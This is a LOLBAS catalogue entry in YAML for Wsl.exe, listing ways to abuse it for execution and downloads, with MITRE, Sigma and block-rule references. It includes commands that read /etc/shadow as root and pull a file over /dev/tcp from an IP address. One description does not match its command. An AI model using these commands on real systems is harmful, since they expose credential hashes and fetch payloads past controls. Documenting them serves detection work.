LOLBAS/yml/OtherMSBinaries/Wsl.yml

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---
Name: Wsl.exe
Description: Windows subsystem for Linux executable
Author: 'Matthew Brown'
Created: 2019-06-27
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Commands:
- Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe
Description: Executes calc.exe from wsl.exe
Usecase: Performs execution of specified file, can be used to execute arbitrary Linux commands.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
- Command: wsl.exe -u root -e cat /etc/shadow
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Description: Cats /etc/shadow file as root
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
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- Command: wsl.exe --exec bash -c 'cat file'
Description: Cats /etc/shadow file as root
Usecase: Performs execution of arbitrary Linux commands.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
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- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Description: Downloads file from 192.168.1.10
Usecase: Download file
Category: Download
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
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Full_Path:
- Path: C:\Windows\System32\wsl.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_wsl_lolbin.yml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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- IOC: Child process from wsl.exe
Resources:
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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Acknowledgement:
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- Person: Alex Ionescu
Handle: '@aionescu'
- Person: Matt
Handle: '@NotoriousRebel1'
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- Person: Asif Matadar
Handle: '@d1r4c'
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---